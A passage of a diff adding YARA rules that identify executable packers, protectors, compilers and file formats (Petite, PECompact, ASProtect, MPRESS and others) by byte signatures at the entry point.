+		$1 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Petite_14__c199899_Ian_Luck_
+{
+	meta:
+		description = "Petite 1.4 -> (c)1998-99 Ian Luck"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 79 00 00 00 85 C0 74 30 5F 5F 58 5A 8B 4A 0C C1 F9 02 33 C0 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB 9E 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 7E 01 6A 10 8B D8 66 05 77 01 50 52 6A 00 03 1B FF 13 6A FF FF 53 08 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+		$1 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6}
+		$2 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 79 00 00 00 85 C0 74 30 5F 5F 58 5A 8B 4A 0C C1 F9 02 33 C0 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB 9E 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 7E 01 6A 10 8B D8 66 05 77 01 50 52 6A 00 03 1B FF 13 6A FF FF 53 08 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Excalibur_103__forgot_
+{
+	meta:
+		description = "Excalibur 1.03 -> forgot"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08}
+		$1 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LEExe_Executable_Image_
+{
+	meta:
+		description = "LE-Exe Executable Image"
+	strings:
+		$0 = {4C 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_12__Ding_Boy_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm 1.2 -> Ding Boy"
+	strings:
+		$0 = {55 57 56 52 51 53 9C FA 90 E8 00 00 00 00 5D 8B D5}
+	condition:
+		$0 at entrypoint
+}
+rule _SGI_Image_Graphics_format_
+{
+	meta:
+		description = "SGI Image Graphics format"
+	strings:
+		$0 = {01 DA 00 01 00 03}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_WATCOM_CCpp_EXE_
+{
+	meta:
+		description = "PseudoSigner 0.1 [WATCOM C/C++ EXE"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+		$1 = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_641__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) 6.4.1 -> Safenet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ProPack_214_m1_EXE_
+{
+	meta:
+		description = "ProPack 2.14 -m1 [EXE]"
+	strings:
+		$0 = {0E 8C D3 8E C3 8C CA 8E DA 8B 0E 08 00 8B F1 83 EE 02 8B FE D1 E9 FD F3 A5 53 B8 35 00 50 8B 2E 0A 00 03 16 0C 00 CB B8 00 10 3B C5 76 02 8B C5 2B E8 2B D8 2B D0 8E DA 8E C3 B1 03 D3 E0 8B C8 D1 E0 48 48 8B F0 8B F8 F3 A5 0B ED 75 D9 FC 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Guardant_Stealth_aka_Novex_Dongle_
+{
+	meta:
+		description = "Guardant Stealth aka Novex Dongle"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80}
+		$1 = {55 8B EC 83 C4 F0 60 E8 51 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MEW_11_SE_v11___Northfox_HCC_
+{
+	meta:
+		description = "MEW 11 SE v1.1  -> Northfox [HCC"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1180__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.1.8.0 -> Nooby * 20090201"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 31 2E 38 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01}
+		$1 = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Free_Pascal_v1010_win32_console_
+{
+	meta:
+		description = "Free Pascal v1.0.10 (win32 console)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? 00 01 E8 ?? ?? 00 00 C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5 ?? EC}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v__If_you_know_this_version_post_on_PEiD_board_
+{
+	meta:
+		description = "ASProtect v?.? -> If you know this version, post on PEiD board"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MPRESS_V085V092__MATCODE_Software__20080414_
+{
+	meta:
+		description = "MPRESS V0.85-V0.92 -> MATCODE Software * 20080414"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 05 48 01 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 2B C0 3B FE 73 28 AC 0A C0 74 23 8A C8 24 3F C1 E0 10 66 AD 80 E1 40 74 0F 8B D6 8B CF 03 F0 E8 5F 00 00 00 03 F8 EB D8 8B C8 F3 A4 EB D2 5E 5A 83 EA 05 2B C9 3B CA 73 25 8B D9 AC 41 24 FE 3C E8 75 F2 83 C1 04 AD 0B C0 78 06 3B C2 73 E6 EB 06 03 C3 78 E0 03 C2 2B C3 89 46 FC EB D7 E8 00 00 00 00 5F 81 C7 6A FF FF FF B0 E9 AA B8 44 01 00 00 AB E8 00 00 00 00 58 05 A3 00 00 00 E9 93 00 00 00 53 56 57 8B F9 8B F2 8B DA 03 D8 51 55 33 C0 8B EB 8B DE 2B D2 2B C9 EB 4F 3B DD 73 6C 2B C9 66 8B 03 8D 5B 02 8A CC 80 E4 0F 0B C0 75 02 B4 10 C0 E9 04 80 C1 03 80 F9 12 72 19 8A 0B 66 83 C1 12 43 66 81 F9 11 01 72 0B 66 8B 0B 81 C1 11 01 00 00 43 43 8B F7 2B F0 F3 A4 12 D2 74 0A 72 B9 8A 03 43 88 07 47 EB F2 3B DD 73 1D 0A 13 F9 74 03 43 EB E6 8B 43 01 89 07 8B 43 05 89 47 04 8D 5B 09 8D 7F 08 33 C0 EB DF 5D 8B C7 59 2B C1 5F 5E 5B C3 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _DOS32_v33_DOSExtender_and_Loader_
+{
+	meta:
+		description = "DOS32 v.3.3 DOS-Extender and Loader"
+	strings:
+		$0 = {0E 1F FC 9C 5B 8B C3 80 F4 ?? 50 9D 9C 58 3A E7 75 ?? BA ?? ?? B4 09 CD 21 B4 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Erdas_LANGIS_Image_graphics_format_
+{
+	meta:
+		description = "Erdas LAN/GIS Image graphics format"
+	strings:
+		$0 = {48 45 41 44 37 34 00 00 03 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_REALBasic_
+{
+	meta:
+		description = "PseudoSigner 0.2 [REALBasic"
+	strings:
+		$0 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v42_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.2"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_120__1201_
+{
+	meta:
+		description = "PECompact 1.20 - 1.20.1"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 00 87 DD 8B 85 A6 70 40 00 01 85 03 70 40 00 66 C7 85 00 70 40 00 90 90 01 85 9E 70 40 00 BB CC 08 00 00 03 9D AA 70 40 00 03 9D A6 70 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v50_
+{
+	meta:
+		description = "Crunch/PE v5.0"
+	strings:
+		$0 = {EB 15 03 ?? ?? ?? 06}
+	condition:
+		$0 at entrypoint
+}
+rule _DiskDupe_c_MSD_Configuration_file_
+{
+	meta:
+		description = "DiskDupe (c) MSD Configuration file"
+	strings:
+		$0 = {4D 53 44 20 44 61 74 61 20 56 65 72 73}
+	condition:
+		$0 at entrypoint
+}
+rule _PGMPAK_013_
+{
+	meta:
+		description = "PGMPAK 0.13"
+	strings:
+		$0 = {FA 1E 17 50 B4 30 CD 21 3C 02 73 04 B4 4C CD 21 FC BE 91 03 BF 00 09 E8 1E FF E8 1B FF BB 3F 00 BA FF 00 8A C3 8B F3 8B B0 00 0A 8A 8F C0 09 BF 01 00 D3 E7 74 06 BD 00 07 E8 B7 FF 04 02 8B F3 8B B0 40 09 8A 8F 00 09 80 F9 09 73 08 BD 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _HP48sx_graphics_format_
+{
+	meta:
+		description = "HP-48sx graphics format"
+	strings:
+		$0 = {48 50 48 50 34 38 2D 41}
+	condition:
+		$0 at entrypoint
+}
+rule _setupexe_Section44rsrc_
+{
+	meta:
+		description = "setup.exe Section(4/4,.rsrc)"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 04 00 00 00 00 00 04 00 03 00 00 00 30 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_V16c__Vaska_
+{
+	meta:
+		description = "RCryptor V1.6c -> Vaska"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _TPACK_v17_Archive_
+{
+	meta:
+		description = "TPACK v1.7 Archive"
+	strings:
+		$0 = {54 50 41 43 ?? 31 2E 37}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroDog_Win32Shell_V4X__SafeNet_
+{
+	meta:
+		description = "MicroDog Win32Shell V4.X -> SafeNet"
+	strings:
+		$0 = {60 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 33 C0 B9 3F ?? ?? ?? F3 AB C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D}
+		$1 = {60 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 33 C0 B9 3F ?? ?? ?? F3 AB C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 33 C0 B9 3F ?? ?? ?? F3 AB C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 C7 ?? ?? ?? ?? ?? ?? ?? E9 13 09 00 00 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 05 E9 C1 11 00 00 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 8B ?? ?? 50 E8 ?? ?? ?? ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? E9 CE 0E 00 00 E9 36 11 00 00 E9 3D 11 00 00 E9 38 11 00 00 66 ?? ?? ?? ?? ?? EB 04 66 ?? ?? ?? 8B ?? ?? 25 FF FF 00 00 83 ?? ?? 0F 8D DF 00 00 00 8B ?? ?? 25 FF FF 00 00 8B ?? ?? 81 E1 FF FF 00 00 0F AF C1 8B ?? ?? 81 E1 FF FF 00 00 0F AF C1 8B ?? ?? 81 E1 FF FF 00 00 0F AF C1 83 ?? ?? 89 ?? ?? ?? ?? ?? EB 7E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AHPack_01__FEUERRADER_
+{
+	meta:
+		description = "AHPack 0.1 -> FEUERRADER"
+	strings:
+		$0 = {60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v0164_
+{
+	meta:
+		description = "CodeCrypt v0.164"
+	strings:
+		$0 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34}
+		$1 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_v071_
+{
+	meta:
+		description = "tElock v0.71"
+	strings:
+		$0 = {60 E8 ED 10 00 00 C3 83}
+		$1 = {60 E8 ED 10 00 00 C3 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ZProtect_v149__lifeengines_
+{
+	meta:
+		description = "ZProtect v1.4.9 -> lifeengines"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? ?? 87 ?? ?? ?? ?? ?? ?? ?? ?? 87 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? E8 ?? 00 00 00 ?? 87}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Pascal_v50_Unit_
+{
+	meta:
+		description = "Turbo Pascal v5.0 Unit"
+	strings:
+		$0 = {54 50 55 35 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1357__Obsidium_Software____20080521_
+{
+	meta:
+		description = "Obsidium V1.3.5.7 -> Obsidium Software   * 20080521"
+	strings:
+		$0 = {EB 01 ?? E8 ?? 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 ?? ?? ?? ?? EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 03 ?? ?? ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 01 ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_LZBRS_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZBRS"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+		$1 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v50_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v5.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+		$1 = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MicroJoiner_v15__coban2k_
+{
+	meta:
+		description = "MicroJoiner v1.5 -> coban2k"
+	strings:
+		$0 = {BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_114EXE_
+{
+	meta:
+		description = "HackStop 1.14?[EXE]"
+	strings:
+		$0 = {52 B8 02 30 1E CD 21 86 E0 3D FE 02 73 02 CD 20 0E 1F B4 09 E8 03 00 24 24 EA 5A CD 21 1F 5A 53 BB EB 04 5B EB FB 9A B4 30 CD 21 FA 8B EC 8B 46 FA 05 0C 00 FF E0 81 EB 02 EB F0 81 46 FA 1A 00 83 EC 06 CF 82 53 BB EB 04 5B EB FB 9A B9 08 02}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v12__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.2 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15}
+		$1 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+		$2 = {45 78 50 72 2D 76 2E 31 2E 32 2E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Scrunch_102_
+{
+	meta:
+		description = "Scrunch 1.02"
+	strings:
+		$0 = {EB 13 73 43 65 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BB FF FF B4 4A CD 21 81 EB F0 1F 73 18 BA 2B 01 B9 0F 00 E9 79 01 4F 75 74 20 6F 66 20 6D 65 6D 6F 72 79 2E 07 8C D8 A3 D2 02 05 00 10 A3 58 01 8E C0 E8 B4 01 B9 00 FF FC BE 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v1032_dllocx__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector v1.03.2 (.dll,.ocx) -> Ashkbiz Danehkar"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_116_aPLib_compression__ap0x_
+{
+	meta:
+		description = "RLPack 1.16 (aPLib compression) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 E8 02 00 00 89 85 4F 03 00 00 5B FF B5 4F 03 00 00 56 FF D3 83 C4 08 8B B5 4F 03 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 CD 00 00 00 83 C0 04 89 85 4B 03 00 00 E9 93 00 00 00 56 FF 95 E0 02 00 00 85 C0 0F 84 AE 00 00 00 89 85 47 03 00 00 8B C6 EB 5B 8B 85 4B 03 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 4B 03 00 00 C7 00 20 20 20 00 EB 06 FF B5 4B 03 00 00 FF B5 47 03 00 00 FF 95 E4 02 00 00 85 C0 74 6B 89 07 83 C7 04 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_140__141_
+{
+	meta:
+		description = "PECompact 1.40 - 1.41"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 00 87 DD 8B 85 A6 A0 40 00 01 85 03 A0 40 00 66 C7 85 00 A0 40 00 90 90 01 85 9E A0 40 00 BB C3 11 00 00 03 9D AA A0 40 00 03 9D A6 A0 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2001__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.001 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 72 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _BGI_Device_Driver_
+{
+	meta:
+		description = "BGI Device Driver"
+	strings:
+		$0 = {70 6B 08 08 42 47 49 20}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPACK_10_
+{
+	meta:
+		description = "PE-PACK 1.0"
+	strings:
+		$0 = {50 FC AD 33 C2 AB 8B D0 E2 F8}
+		$1 = {74 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_CrunchPE_Heuristic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Crunch/PE Heuristic] --> Anorganix"
+	strings:
+		$0 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v122__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v1.22 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_6_
+{
+	meta:
+		description = "kryptor 6"
+	strings:
